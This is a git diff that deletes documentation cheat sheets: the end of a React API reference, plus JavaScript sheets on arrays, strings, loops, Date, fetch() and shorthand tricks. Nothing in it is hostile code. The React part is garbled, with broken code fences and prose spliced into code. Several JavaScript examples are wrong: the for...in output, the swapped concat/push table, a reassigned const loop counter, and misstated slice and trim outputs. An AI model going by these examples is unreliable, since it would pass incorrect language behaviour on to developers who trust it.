-> Returns the total number of components in children, equal to the number of times that a callback passed to map or forEach would be invoked.
-
-```js
-React.Children.count(children);
-```
-
-> Verifies that children has only one child (a React element) and returns it.
-
-> Otherwise this method throws an error.
-
-```js
-React.Children.only(children);
-```
-
-> Returns the children opaque data structure as a flat array with keys assigned to each child.
-
-> Useful if you want to manipulate collections of children in your render methods, especially if you want to reorder or slice this.props.children before passing it down.
-
-```js
-React.Children.toArray(children);
-```
-
-> The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-
-> You can also use it with the shorthand <>\</> syntax.
-
-```js
-
-class Component extends React.Component {
-```
-
-> Will be called before it is mounted constructor(props) { Call this method before any other statement or this.props will be undefined in the constructor super(props);
-
-> The constructor is also often used to bind event handlers to the class instance.
-
-> Binding makes sure the method has access to component attributes like this.props and this.state
-
-```js
-this.method = this.method.bind(this);
-```
-
-> The constructor is the right place to initialize state.
-
-```js
-  this.state = {
-    active: true,
-```
-
-> In rare cases, it's okay to initialize state based on props.
-
-> This effectively "forks" the props and sets the state with the initial props.
-
-> If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps) to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-
-```js
-    color: props.initialColor
-  };
-}
-```
-
-> Enqueues changes to the component state and tells React that this component and its children need to be re-rendered with the updated state.
-
-> setState() does not always immediately update the component. It may batch or defer the update until later.
-
-> This makes reading this.state right after calling setState() a potential pitfall.
-
-> Instead, use componentDidUpdate or a setState callback.
-
-> You may optionally pass an object as the first argument to setState() instead of a function.
-
-```jsx
-
-
-setState(updater[, callback]) { }
-```
-
-> Invoked just before mounting occurs (before render())
-
-> This is the only lifecycle hook called on server rendering.
-
-```js
-componentWillMount() { }
-```
-
-> Invoked immediately after a component is mounted.
-
-> Initialization that requires DOM nodes should go here.
-
-> If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-
-> This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-
-```js
-componentDidMount() { }
-```
-
-> Invoked before a mounted component receives new props.
-
-> If you need to update the state in response to prop changes (for example, to reset it), you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-
-```js
-componentWillReceiveProps(nextProps) { }
-```
-
-> Let React know if a component's output is not affected by the current change in state or props.
-
-> The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-
-> shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-
-> This method is not called for the initial render or when forceUpdate() is used.
-
-> Returning false does not prevent child components from re-rendering when their state changes.
-
-```js
-shouldComponentUpdate(nextProps, nextState) { }
-```
-
-> Invoked just before rendering when new props or state are being received.
-
-> Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-
-> Note that you cannot call this.setState() here; nor should you do anything else
-
-````
-> (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-
- > If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-
-```js
-
-componentWillUpdate(nextProps, nextState) { }
-````
-
-> Invoked immediately after updating occurs. This method is not called for the initial render.
-
-> Use this as an opportunity to operate on the DOM when the component has been updated.
-
-> This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-
-```js
-componentDidUpdate(prevProps, prevState) { }
-```
-
-> Invoked immediately before a component is unmounted and destroyed.
-
-> Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests, or cleaning up any subscriptions that were created in componentDidMount().
-
-```js
-componentWillUnmount() { }
-```
-
-> Error boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed.
-
-> Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-
-```js
-componentDidCatch() { }
-```
-
-> This method is required.
-
-> It should be pure, meaning that it does not modify component state, it returns the same result each time it's invoked, and
-
-```
-> it does not directly interact with the browser (use lifecycle methods for this)
-```
-
-> It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-
-```js
-render() {
-```
-
-> Contains the props that were defined by the caller of this component.
-
-```js
-console.log(this.props);
-```
-
-> Contains data specific to this component that may change over time.
-
-````js
-> The state is user-defined, and it should be a plain JavaScript object.
-
-```js
-
-> If you don't use it in render(), it shouldn't be in the state.
-
-```js
-
-> For example, you can put timer IDs directly on the instance.
-
-```js
-
-> Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-
-```js
-
-> Treat this.state as if it were immutable.
-
-```js
-
-  console.log(this.state);
-  return (
-    <div>
-      {/* Comment goes here */}
-      Hello, {this.props.name}!
-    </div>
-  );
-}
-}
-````
-
-> Can be defined as a property on the component class itself, to set the default props for the class.
-
-> This is used for undefined props, but not for null props.
-
-```js
-Component.defaultProps = {
-    color: 'blue'
-};
-component = new Component();
-```
-
-> By default, when your component's state or props change, your component will re-render.
-
-> If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-
-> Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-
-````js
-component.forceUpdate(callback)
-//**************
- // * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
-
-```js
-
- * Most of your components should not need to use this module.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-````
-
-> Render a React element into the DOM in the supplied container and return a reference
-
-````
-> to the component (or returns null for stateless components).
-
-```js
-
-ReactDOM.render(element, container[, callback])
-````
-
-> Same as render(), but is used to hydrate a container whose HTML contents were rendered
-
-````
-> by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-
-```js
-
-ReactDOM.hydrate(element, container[, callback])
-````
-
-> Remove a mounted React component from the DOM and clean up its event handlers and state.
-
-> If no component was mounted in the container, calling this function does nothing.
-
-> Returns true if a component was unmounted and false if there was no component to unmount.
-
-```js
-ReactDOM.unmountComponentAtNode(container);
-```
-
-> If this component has been mounted into the DOM, this returns the corresponding native browser
-
-```
-> DOM element. This method is useful for reading values out of the DOM, such as form field values
-```
-
-> and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-
-````
-> using findDOMNode at all.
-
-```js
-
-ReactDOM.findDOMNode(component)
-````
-
-> Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-
-````
-> the hierarchy of the DOM component.
-
-```js
-
-ReactDOM.createPortal(child, container)
-//******************************************************************************
- // * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-````
-
-> Render a React element to its initial HTML. React will return an HTML string.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToString(element)
-````
-
-> Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-
-```
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-ReactDOMServer.renderToStaticMarkup(element);
-```
-
-> Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-
-> The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToNodeStream(element)
-````
-
-> Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-
-```
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-ReactDOMServer.renderToStaticNodeStream(element)
-//***********
- // * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-import PropTypes from 'prop-types';
-MyComponent.propTypes = {
-```
-
-> You can declare that a prop is a specific JS type. By default, these
-
-````
-> are all optional.
-
-```js
-
-optionalArray: PropTypes.array,
-optionalBool: PropTypes.bool,
-optionalFunc: PropTypes.func,
-optionalNumber: PropTypes.number,
-optionalObject: PropTypes.object,
-optionalString: PropTypes.string,
-optionalSymbol: PropTypes.symbol,  Anything that can be rendered: numbers, strings, elements or an array
-````
-
-> (or fragment) containing these types.
-
-````js
-optionalNode: PropTypes.node,  A React element.
-
-```js
-
-optionalElement: PropTypes.element,  You can also declare that a prop is an instance of a class. This uses
-````
-
-> JS's instanceof operator.
-
-```js
-optionalMessage: PropTypes.instanceOf(Message),  You can ensure that your prop is limited to specific values by treating
-```
-
-> it as an enum.
-
-```js
-optionalEnum: PropTypes.oneOf(['News', 'Photos']),  An object that could be one of many types
-optionalUnion: PropTypes.oneOfType([
-  PropTypes.string,
-  PropTypes.number,
-  PropTypes.instanceOf(Message)
-]),  An array of a certain type
-optionalArrayOf: PropTypes.arrayOf(PropTypes.number),  An object with property values of a certain type
-optionalObjectOf: PropTypes.objectOf(PropTypes.number),  An object taking on a particular shape
-optionalObjectWithShape: PropTypes.shape({
-  color: PropTypes.string,
-  fontSize: PropTypes.number
-}),  You can chain any of the above with `isRequired` to make sure a warning
-```
-
-> is shown if the prop isn't provided.
-
-```js
-requiredFunc: PropTypes.func.isRequired,  A value of any data type
-requiredAny: PropTypes.any.isRequired,  You can also specify a custom validator. It should return an Error
-```
-
-> object if the validation fails. Don't `console.warn` or throw, as this
-
-````
-> won't work inside `oneOfType`.
-
-```js
-
-customProp: function(props, propName, componentName) {
-  if (!/matchme/.test(props[propName])) {
-    return new Error(
-      'Invalid prop `' + propName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-},  You can also supply a custom validator to `arrayOf` and `objectOf`.
-
- > It should return an Error object if the validation fails. The validator
-
-> will be called for each key in the array or object. The first two
-````
-
-> arguments of the validator are the array or object itself, and the
-
-````
-> current item's key.
-
-```js
-
-customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-  if (!/matchme/.test(propValue[key])) {
-    return new Error(
-      'Invalid prop `' + propFullName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-})
-};
-````
diff --git a/docs/content/cheat-sheets/js-cheatsheet.md b/docs/content/cheat-sheets/js-cheatsheet.md
deleted file mode 100644
index 6a1dac8eb1..0000000000
--- a/docs/content/cheat-sheets/js-cheatsheet.md
+++ /dev/null
@@ -1,663 +0,0 @@
-# Cheatsheet
-
-## Commonly used functions on [Array](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Arrays)
-
-### [map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
-
-#### Description
-
-Creates an array by calling a specific function on each element present in the parent array.
-
-#### Syntax
-
-```js
-array.map(function(currentValue)
-```
-
-| Parameter              | Description                                        |
-| ---------------------- | -------------------------------------------------- |
-| function(currentValue) | Required function to be run for each array element |
-
-#### Return value
-
-An Array containing the results of calling the provided function for each element in the original array.
-
-### [filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
-
-#### Description
-
-Creates an array filled with all array elements that pass a test (provided as a function).
-
-#### Syntax
-
-```js
-array.filter(function(currentValue)
-```
-
-| Parameter              | Description                                        |
-| ---------------------- | -------------------------------------------------- |
-| function(currentValue) | Required function to be run for each array element |
-
-#### Return value
-
-Array containing all elements that pass the test else an empty array.
-
-#### Example
-
-```js
-let filtered = [112, 52, 0, -1, 944].filter(function (value) {
-    return value > 0;
-});
-```
-
-_Output:_
-
-```
-[112,52,944]
-```
-
-### [reduce](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)
-
-#### Description
-
-reduces the array to a single value and executes provided function for each value of the array (from left-to-right).
-
-#### Syntax
-
-```js
-array.reduce( function(total, currentValue, currentIndex, arr), initialValue )
-```
-
-| Parameter              | Description                                        |
-| ---------------------- | -------------------------------------------------- |
-| function(currentValue) | Required function to be run for each array element |
-
-#### Return value
-
-returns accumulated result fron the last call of the callback function.
-
-#### Example
-
-```js
-const array1 = [1, 2, 3, 4];
-const reducer = function (accumulator, currentValue) {
-    return accumulator + currentValue;
-};
-console.log(array1.reduce(reducer));
-console.log(array1.reduce(reducer, 5));
-```
-
-_Output:_
-
-```
-10
-15
-```
-
-### [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
-
-#### Description
-
-Returns the selected elements in an array, as a new array object and selects the elements starting at the given start argument, and ends at the given end argument(excluding end argument).
-
-#### Syntax
-
-```js
-array.slice(start, end);
-```
-
-| Parameter | Description                                         |
-| --------- | --------------------------------------------------- |
-| start     | Optional. specifies starting index of the selection |
-| end       | Optional. specifies ending index of the selection   |
-
-#### Return value
-
-New array containing the selected elements.
-
-#### Example
-
-```js
-let arr = [1, 2, 3, 4, 5, 6];
-let new_arr = arr.slice(3);
-```
-
-_Output:_
-
-```
-[1,2,3,4,5,6]
-[4,5,6]
-```
-
-### [splice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
-
-#### Description
-
-Adds/removes items to/from an array, and returns the removed item(s).
-
-#### Syntax
-
-```js
-array.splice(index, howmany, item1, ....., itemX)
-```
-
-| Parameter         | Description                                                              |
-| ----------------- | ------------------------------------------------------------------------ |
-| index             | Required. An integer that specifies at what position to add/remove items |
-| howmany           | Optional. The number of items to be removed.                             |
-| item1, ..., itemX | Optional. The new item(s) to be added to the array                       |
-
-#### Return value
-
-Array without the removed items.
-
-#### Example
-
-```js
-const languages = ['C++', 'Java', 'Html', 'Python', 'C'];
-// Add 'Julia' and 'Php' after removing 'Html'.
-const removed = languages.splice(2, 1, 'Julia', 'Php');
-```
-
-_Output:_
-
-```
-C++,Java,Html,Python,C
-C++,Java,Julia,Php,Python,C
-```
-
-_**Note**_
-
-| splice                                     | slice                                                              |
-| ------------------------------------------ | ------------------------------------------------------------------ |
-| Returns the removed item(s) in an array    | Returns the selected element(s) in an array, as a new array object |
-| Changes the original array                 | Doesn't change the original array                                  |
-| Can take n number of arguments(1 required) | Can take 2 arguments(1 required)                                   |
-
-### [concat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
-
-#### Description
-
-Used to add a single item to an array(or to add two or more arrays).
-
-#### Syntax
-
-```js
-array1.concat(item);
-```
-
-_or_
-
-```js
-array1.concat(array2, array3, ..., arrayX)
-```
-
-| Parameter                   | Description                        |
-| --------------------------- | ---------------------------------- |
-| array2, array3, ..., arrayX | Required. The arrays to be joined. |
-
-#### Return value
-
-Joined array
-
-#### Example
-
-```js
-const num1 = [1, 2, 3],
-    num2 = [4, 5, 6],
-    num3 = 7;
-console.log(num1.concat(num2, num3));
-```
-
-_Output:_
-
-```
-[1,2,3,4,5,6,7]
-```
-
-_Note_
-
-| concat                               | .push                         |
-| ------------------------------------ | ----------------------------- |
-| Adds elements to the end of an array | Adds element or merges arrays |
-| Returns the new length of the array  | Returns a new array           |
-
-### [join](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
-
-#### Description
-
-Returns the array as a string. The elementsare separated by a specified separator. The default separator is comma (,).
-
-#### Syntax
-
-```js
-array.join(separator);
-```
-
-| Parameter | Description |
-| --------- | ----------- |
-| separator | Optional.   |
-
-#### Return value
-
-String, representing the array values, separated by the specified separator.
-
-#### Example
-
-```js
-const languages = ['C++', 'Java', 'Html', 'Python', 'C'];
-languages.join();
-languages.join('.');
-languages.join('-');
-```
-
-_Output:_
-
-```
-C++,Java,Html,Python,C
-C++.Java.Html.Python.C
-C++-Java-Html-Python-C
-```
-
-### [push](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
-
-#### Description
-
-Adds new items to the end of an array, and returns the new length.
-
-#### Syntax
-
-```js
-array.push(item1, item2, ..., itemX)
-```
-
-| Parameter                | Description                               |
-| ------------------------ | ----------------------------------------- |
-| item1, item2, ..., itemX | Required. The item(s) to add to the array |
-
-#### Return value
-
-New length of the array.
-
-#### Example
-
-```js
-let arr = [1, 2, 3, 4, 5];
-console.log(arr.push(6, 7, 8));
-```
-
-_Output:_
-
-```
-8
-[1,2,3,4,5,6,7,8]
-```
-
-### [find](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/find)
-
-#### Description
-
-Returns the value of the first element in an array that pass a test (provided as a function).
-
-#### Syntax
-
-```js
-array.find(function(currentValue)
-```
-
-| Parameter              | Description                                                   |
-| ---------------------- | ------------------------------------------------------------- |
-| function(currentValue) | Required. A function to be run for each element in the array. |
-
-#### Return value
-
-The array element value if any of the elements in the array pass the test, otherwise it returns 'undefined'.
-
-#### Example
-
-```js
-let array = [1, 3, 5, 7, 9];
-const found = array.find(function (element) {
-    return element > 4;
-});
-// Printing desired value.
-```
-
-_Output:_
-
-```
-5
-```
-
-### [indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
-
-#### Description
-
-returns the position of the first occurrence of a specified value in a string.
-
-#### Syntax
-
-```js
-string.indexOf(searchvalue, start);
-```
-
-| Parameter   | Description                                                           |
-| ----------- | --------------------------------------------------------------------- |
-| searchvalue | Required. The string to search for                                    |
-| start       | <p>Optional.<br>Default 0. At which position to start the search.</p> |
-
-#### Return value
-
-Number, representing the position where the specified searchvalue occurs for the first time, or -1 if it never occurs.
-
-#### Example
-
-```js
-console.log('Departed Train'.indexOf('Train'));
-```
-
-_Output:_
-
-```
-9
-```
-
-## Common String Functions
-
-[Full Mozilla MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
-
-### [substring](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/substring)
-
-#### Description
-
-Extracts the characters in a string between "start" and "end", not including "end" itself.
-
-#### Syntax
-
-```js
-string.substring(start, end);
-```
-
-| Parameter | Description                                                                                                                   |
-| --------- | ----------------------------------------------------------------------------------------------------------------------------- |
-| start     | Required. The position where to start the extraction. First character is at index 0                                           |
-| end       | Optional. The position (up to, but not including) where to end the extraction. If omitted, it extracts the rest of the string |
-
-#### Return value
-
-New string containing the extracted characters.
-
-#### Example
-
-```js
-// Taking a string as variable
-const string = 'JavaScriptCheatsheet';
-a = string.substring(0, 4);
-b = string.substring(1, 6);
-c = string.substring(5);
-d = string.substring(0);
-// Printing new string which are
-// the part of the given string
-```
-
-_Output:_
-
-```
-Java
-avaSc
-criptCheatsheet
-JavaScriptCheatsheet
-```
-
-_Note_
-
-| array.slice()                    | string.substring()               |
-| -------------------------------- | -------------------------------- |
-| Displays selected array elements | Displays selected part of string |
-| Returns new array                | Returns new string               |
-
-### [split](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
-
-#### Description
-
-Used to split a string into an array of substrings, and returns the new array.
-
-#### Syntax
-
-```js
-string.split(separator, limit);
-```
-
-| Parameter | Description                                                                                                                                                                 |
-| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| separator | Optional. Specifies the character, or the regular expression, to use for splitting the string. If omitted, the entire string will be returned (an array with only one item) |
-| limit     | Optional. An integer that specifies the number of splits, items after the split limit will not be included in the array                                                     |
-
-#### Return value
-
-Array containing splitted values.
-
-#### Example
-
-```js
-let str = 'It iS a great Day.';
-let array = str.split(' ');
-```
-
-_Output:_
-
-```
-["It","iS","a","great","Day."]
-```
-
-### [toLowerCase](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)
-
-#### Description
-
-Converts a string to lowercase letters.
-
-#### Syntax
-
-```
-string.toLowerCase()
-```
-
-#### Return value
-
-A string, representing the value of a string converted to lowercase.
-
-#### Example
-
-```js
-const str = 'It iS a Great Day.';
-const string = str.toLowerCase();
-```
-
-_Output:_
-
-```
-it is a great day.
-```
-
-### [trim](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/trim)
-
-#### Description
-
-Removes whitespace from both sides of a string.
-
-#### Syntax
-
-```js
-string.trim();
-```
-
-#### Return value
-
-String, representing the string with removed whitespace from both ends
-
-#### Example
-
-```js
-const str = '     "JavaScript"      ';
-const st = str.trim();
-```
-
-_Output:_
-
-```
-"Javascript"
-```
-
-### [charAt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt)
-
-#### Description
-
-Returns the character at the specified index in a string.
-
-#### Syntax:
-
-```js
-string.charAt(index);
-```
-
-#### Return value
-
-String, representing the character at the specified index, or an empty string if the index number is not found
-
-#### Example:
-
-```js
-const str = 'JavaScript is object oriented language';
-console.log(str.charAt(9));
-```
-
-_Output:_
-
-```
-t
-```
-
-## For Loop Variants
-
-### [for...in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in)
-
-#### Syntax
-
-```js
-for (var in object)
-{
-   //code block to be executed
-}
-```
-
-#### Example
-
-```js
-const array1 = ['a', 'b', 'c'];
-for (const element in array1) {
-    console.log(element);
-}
-```
-
-_Output:_
-
-```
-"a"
-"b"
-"c"
-```
-
-### [for...of](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/for...of)
-
-#### Description
-
-Loops through the values of an object.
-
-#### Syntax
-
-```js
-for (variable of object) {
-    // code block to be executed
-}
-```
-
-#### Example
-
-```js
-const languages = { first: 'C', second: 'Java', third: 'Python', fourth: 'PHP', fifth: 'JavaScript' };
-// iterate through every property of the
-// object languages and print all of them
-// using for..in loops
-for (itr in languages) {
-    console.log(languages[itr]);
-}
-```
-
-_Output:_
-
-```
-C
-Java
-Python
-PHP
-JavaScript
-```
-
-### [for loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement)
-
-#### Description
-
-Traditional index-based loop as found in many languages.
-
-#### Syntax
-
-```js
-for (statement 1; statement 2; statement 3)
-{
- 	// code block to be executed
-}
-```
-
-#### Example
-
-```js
-const i;
-for (i = 0; i < 10; i++)
-{
-	console.log("Hello World!\n");
-}
-```
-
-This will print _Hello World_ on the screen 10 times.
-
-### [.forEach](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
-
-#### Description
-
-Calls a function once for each element in an array, in order.
-
-#### Syntax
-
-```js
-array.forEach(function(currentValue)
-```
-
-| Parameter              | Description                                                   |
-| ---------------------- | ------------------------------------------------------------- |
-| function(currentValue) | Required. A function to be run for each element in the array. |
-
-#### Example:
-
-```js
-const items = [1, 29, 47];
-const copy = [];
-items.forEach(function (item) {
-    copy.push(item * item);
-});
-```
-
-_Output :_ It squares each number in the array _items_ .
-
-```
-    1,841,2209
-```
diff --git a/docs/content/cheat-sheets/js-date.md b/docs/content/cheat-sheets/js-date.md
deleted file mode 100644
index 3dbf40ef29..0000000000
--- a/docs/content/cheat-sheets/js-date.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: JavaScript Date
-category: JavaScript
-
-weight: -3
----
-
-## Date
-
-{: .-left-reference}
-
-### Constructor
-
-```js
-// Now
-new Date();
-```
-
-```js
-// ms since epoch
-new Date(1419785527580);
-```
-
-```js
-// Date format
-new Date('May 17, 1995 03:24:00');
-```
-
-```js
-// ISO date format
-new Date('2013-03-01T01:10:00');
-```
-
-```js
-new Date(2014, 2, 1, 13, 0, 59, 0);
-```
-
-### Constructor
-
-| `new Date(` | `2014,` | `2,` | `1,` | `13,` | `0,` | `59,` | `0)` |
-| Date | Year | Month | Day | Hour | Min | Sec | Milli |
-{: .-css-breakdown}
-
-Months are zero-indexed (eg, January is `0`).
-
-### Conversion
-
-| Method                   | Result                                      |
-| ------------------------ | ------------------------------------------- |
-| `d.toString()`           | `"Mon Dec 29 2014 00:58:28 GMT+0800 (PHT)"` |
-| `d.toTimeString()`       | `"00:58:46 GMT+0800 (PHT)"`                 |
-| `d.toUTCString()`        | `"Sun, 28 Dec 2014 16:58:59 GMT"`           |
-| ---                      | ---                                         |
-| `d.toDateString()`       | `"Thu Jan 10 2013"`                         |
-| `d.toISOString()`        | `"2013-01-09T16:00:00.000Z"`                |
-| `d.toLocaleString()`     | `"12/29/2014, 12:57:31 AM"`                 |
-| `d.toLocaleTimeString()` | `"12:57:31 AM"`                             |
-| ---                      | ---                                         |
-| `d.getTime()`            | `1419785527580`                             |
-
-## Accessing
-
-### Getters
-
-| Method                 | Result            |
-| ---------------------- | ----------------- |
-| `.getDate()`           | `1..31`           |
-| `.getDay()`            | `0..6` (sun..sat) |
-| `.getFullYear()`       | `2014`            |
-| `.getMonth()`          | `0..11`           |
-| ---                    | ---               |
-| `.getHours()`          |                   |
-| `.getMinutes()`        |                   |
-| `.getSeconds()`        |                   |
-| `.getMilliseconds()`   |                   |
-| ---                    | ---               |
-| `.getTime()`           | ms since epoch    |
-| `.getTimezoneOffset()` |                   |
-
-UTC versions are also available (eg, `.getUTCDate()`, `.getUTCDay()`, etc).
-
-### Setters
-
-| Method                       | Result |
-| ---------------------------- | ------ |
-| `.setDate` _(val)_           |        |
-| `.setDay` _(val)_            |        |
-| `.setFullYear` _(val)_       |        |
-| `.setMonth` _(val)_          |        |
-| ---                          | ---    |
-| `.setHours` _(val)_          |        |
-| `.setMinutes` _(val)_        |        |
-| `.setSeconds` _(val)_        |        |
-| `.setMilliseconds` _(val)_   |        |
-| ---                          | ---    |
-| `.setTime` _(val)_           |        |
-| `.setTimezoneOffset` _(val)_ |        |
-
-See the getters list.
diff --git a/docs/content/cheat-sheets/js-fetch.md b/docs/content/cheat-sheets/js-fetch.md
deleted file mode 100644
index 3314ccad24..0000000000
--- a/docs/content/cheat-sheets/js-fetch.md
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: fetch()
-category: JavaScript
-
-weight: -3
----
-
-### Fetch
-
-```js
-fetch('/data.json')
-  .then(response => response.json())
-  .then(data => {
-    console.log(data)
-  })
-  .catch(err => ...)
-```
-
-{: data-line="4"}
-
-### Response
-
-```js
-fetch('/data.json').then((res) => {
-    res.text(); // response body (=> Promise)
-    res.json(); // parse via JSON (=> Promise)
-    res.status; //=> 200
-    res.statusText; //=> 'OK'
-    res.redirected; //=> false
-    res.ok; //=> true
-    res.url; //=> 'http://site.com/data.json'
-    res.type; //=> 'basic'
-    //   ('cors' 'default' 'error'
-    //    'opaque' 'opaqueredirect')
-
-    res.headers.get('Content-Type');
-});
-```
-
-### Request options
-
-```js
-fetch('/data.json', {
-  method: 'post',
-  body: new FormData(form), // post body
-  body: JSON.stringify(...),
-
-  headers: {
-    'Accept': 'application/json'
-  },
-
-  credentials: 'same-origin', // send cookies
-  credentials: 'include',     // send cookies, even in CORS
-
-})
-```
-
-### Catching errors
-
-```js
-fetch('/data.json').then(checkStatus);
-```
-
----
-
-```js
-function checkStatus(res) {
-    if (res.status >= 200 && res.status < 300) {
-        return res;
-    } else {
-        let err = new Error(res.statusText);
-        err.response = res;
-        throw err;
-    }
-}
-```
-
-Non-2xx responses are still successful requests. Use another function to turn them to errors.
-
-### Using with node.js
-
-```js
-const fetch = require('isomorphic-fetch');
-```
-
-See: [isomorphic-fetch](https://npmjs.com/package/isomorphic-fetch) _(npmjs.com)_
-
-## References
-
-{: .-one-column}
-
--   <https://fetch.spec.whatwg.org/>
--   <https://www.npmjs.com/package/whatwg-fetch>
diff --git a/docs/content/cheat-sheets/js-lazy.md b/docs/content/cheat-sheets/js-lazy.md
deleted file mode 100644
index 07fce4f512..0000000000
--- a/docs/content/cheat-sheets/js-lazy.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: JavaScript lazy shortcuts
-category: JavaScript
----
-
-## Shortcuts
-
-{: .-left-reference}
-
-### Examples
-
-```js
-n = +'4096'; // n === 4096
-s = '' + 200; // s === '200'
-```
-
-```js
-now = +new Date();
-isPublished = !!post.publishedAt;
-```
-
-### Shortcuts
-
-| What                   | Lazy mode              | "The right way"                         |
-| ---------------------- | ---------------------- | --------------------------------------- | ----------------- |
-| String to number       | `+str`                 | `parseInt(str, 10)` _or_ `parseFloat()` |
-| Math floor             | `num                   | 0`                                      | `Math.floor(num)` |
-| Number to string       | `'' + num`             | `num.toString()`                        |
-| Date to UNIX timestamp | `+new Date()`          | `new Date().getTime()`                  |
-| Any to boolean         | `!!value`              | `Boolean(value)`                        |
-| Check array contents   | `if (~arr.indexOf(v))` | `if (arr.includes(v))`                  |
-
-{: .-left-align.-headers}
-
-`.includes` is ES6-only, otherwise use `.indexOf(val) !== -1` if you don't polyfill.
diff --git a/docs/content/cheat-sheets/js-model.md b/docs/content/cheat-sheets/js-model.md
deleted file mode 100644
index ce935495fc..0000000000
--- a/docs/content/cheat-sheets/js-model.md
+++ /dev/null
@@ -1,83 +0,0 @@
-# js-model
-
-#### Example
-
-```bash
-Project = Model "project", ->
-  @extend
-    findByTitle: (title) -> ...
-
-  @include
-    markAsDone: -> ...
-
-  # ActiveRecord::Base.include_root_in_json = false
-```
-
-```bash
-project = Project.find(1)
-project = Project.findByTitle("hello")
-
-project.markAsDone()
-```
-
-#### Persistence
-
-```bash
-Project "hi", ->
-  @persistence Model.REST, "/projects"
-  @persistence Model.localStorage
-```
-
-```bash
-Project.load ->
-  # loaded
-```
-
-#### Attrs
-
-```bash
-project = new Project(name: "Hello")
-
-project.attr('name', "Hey")
-project.attr('name')
-
-project.save()
-project.destroy()
-```
-
-#### Collection
-
-```bash
-Food.add(egg)
-Food.all()
-Food.select (food) -> ...
-Food.first()
-```
-
-```bash
-Food.find(id)
-```
-
-#### Events
-
-```bash
-# Classes
-Project.bind "add", (obj) ->
-Project.bind "remove", (obj) ->
